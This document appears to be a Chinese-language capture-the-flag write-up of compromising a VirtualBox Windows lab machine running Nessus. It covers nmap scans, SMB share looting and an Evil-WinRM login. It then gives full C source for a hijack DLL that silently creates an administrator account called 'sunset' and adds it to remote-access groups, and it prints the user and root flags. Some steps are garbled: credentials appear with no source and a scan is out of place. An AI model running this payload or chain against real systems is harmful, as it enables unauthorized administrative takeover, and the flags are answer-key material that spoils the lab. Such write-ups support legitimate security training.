nmap -sT -min-rate 10000 -p- Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-05 01:37 EST Warning: giving up on port because retransmission cap hit (10). Nmap scan report for Host is up (0.00024s latency). Not shown: 65001 closed tcp ports (conn-refused), 522 filtered tcp ports (no-response) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman 8834/tcp open nessus-xmlrpc 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49671/tcp open unknown MAC Address: 08:00:27:A3:75:F0 (Oracle VirtualBox virtual NIC
1 2 3 4 5 6 7 8 9 10 11 12 13
nmap -sT -sV -O -p 135,139,445,5958,8834,47001 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-05 01:39 EST Nmap scan report for Host is up (0.00052s latency).
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5958/tcp closed unknown 8834/tcp open ssl/nessus-xmlrpc? 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Network Distance: 1 hop Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
nmap -script=vuln -p 135,139,445,5958,8834,47001 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-05 01:46 EST Nmap scan report for Host is up (0.00064s latency).
PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5958/tcp closed unknown 8834/tcp open nessus-xmlrpc 47001/tcp open winrm MAC Address: 08:00:27:A3:75:F0 (Oracle VirtualBox virtual NIC)
Host script results: |_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR |_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR |_smb-vuln-ms10-054: false
WEB渗透
注意到存在一个nessus的监听端口，和靶机是同名的，同时也知道nessus是知名的漏洞扫描软件
访问8834端口
是Nessus的登录页面，尝试使用默认账户密码登录，但是Nessus的默认账号密码是自己设置的
然后注意到存在445端口，瞅一眼存在什么东西
1 2 3 4 5 6 7 8 9 10 11 12
smbclient -L Password for [WORKGROUP\root]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Documents Disk IPC$ IPC Remote IPC Reconnecting with SMB1 for workgroup listing. do_connect: Connection to failed(Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
smbclient ///ADMIN$ Password for [WORKGROUP\root]: tree connect failed: NT_STATUS_ACCESS_DENIED ┌──(root㉿kali)-[~] └─# smbclient ///C$ Password for [WORKGROUP\root]: tree connect failed: NT_STATUS_ACCESS_DENIED ┌──(root㉿kali)-[~] └─# smbclient ///Documents Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> ls . DR 0 Fri Oct 1820:42:532024 .. D 0 Sat Oct 1901:08:232024 desktop.ini AHS 402 Sat Jun 1513:54:332024 My Basic Network Scan_hwhm7q.pdf A 122006 Fri Oct 1818:19:592024 My Music DHSrn 0 Sat Jun 1513:54:272024 My Pictures DHSrn 0 Sat Jun 1513:54:272024 My Videos DHSrn 0 Sat Jun 1513:54:272024 Web Application Tests_f6jg9t.pdf A 136025 Fri Oct 1818:20:142024
12942591 blocks of size 4096.10996103 blocks available smb: \>
将文件全都拉取出来
1 2 3 4 5 6 7
smb: \> mget * Get file desktop.ini? y getting file \desktop.ini of size 402 as desktop.ini (8.5 KiloBytes/sec) (average 8.5 KiloBytes/sec) Get file My Basic Network Scan_hwhm7q.pdf? y getting file \My Basic Network Scan_hwhm7q.pdf of size 122006 as My Basic Network Scan_hwhm7q.pdf (1588.6 KiloBytes/sec) (average 987.9 KiloBytes/sec) Get file Web Application Tests_f6jg9t.pdf? y getting file \Web Application Tests_f6jg9t.pdf of size 136025 as Web Application Tests_f6jg9t.pdf (2711.0 KiloBytes/sec) (average 1484.6 KiloBytes/sec)
evil-winrm -i 192.168.56.8 -u nesus -p Aa118811 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\nesus\Documents>
UserFlag
之后可以读取userflag了
1 2
*Evil-WinRM* PS C:\Users\nesus\Desktop> type user.txt 72113f41d43e88eb5d67f732668bc3d1
获取到user Flag 接下来就是要获取到root Flag了
DLL 劫持
上传winpeas运行一下，显示可能存在DLL劫持
1 2 3 4
[*] DLL HIJACKING in PATHenv variable [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
翻一下目录（想起来存在nessus）
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
*Evil-WinRM* PS C:\Program Files\tenable\Nessus> dir
nmap -sT -min-rate 10000 -p- 192.168.56.8 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-08 02:05 EST Warning: 192.168.56.8 giving up on port because retransmission cap hit (10). Nmap scan report for192.168.56.8 Host is up (0.00052s latency). Not shown: 65376 closed tcp ports (conn-refused), 148 filtered tcp ports (no-response) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown MAC Address: 08:00:27:7A:85:C1 (Oracle VirtualBox virtual NIC)
#include<windows.h> // COMPILE // x86_64-w64-mingw32-gcc adduser.c --shared -o adduser.dll BOOL APIENTRY DllMain( HANDLE hModule, // Handle to DLL module DWORD ul_reason_for_call, // Reason for calling function LPVOID lpReserved)// Reserved { switch (ul_reason_for_call) { int i; case DLL_PROCESS_ATTACH: // A process is loading the DLL. i = system("net user sunset sunset /add"); i = system("net localgroup administrators sunset /add"); i = system("net localgroup 'remote management' sunset /add"); i = system("net localgroup 'remote desktop' sunset /add"); break; case DLL_THREAD_ATTACH: // A process is creating a new thread. break; case DLL_THREAD_DETACH: // A thread exits normally. break; case DLL_PROCESS_DETACH: // A process unloads the DLL. break; } return TRUE; }
evil-winrm -i 192.168.56.8 -u sunset -p sunset Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\sunset\Documents>
ROOT Flag
读取root flag
1 2
*Evil-WinRM* PS C:\Users\administrator\DEsktop> type root.txt b5fc5a4ebfc20cc18220a814e1aee0aa
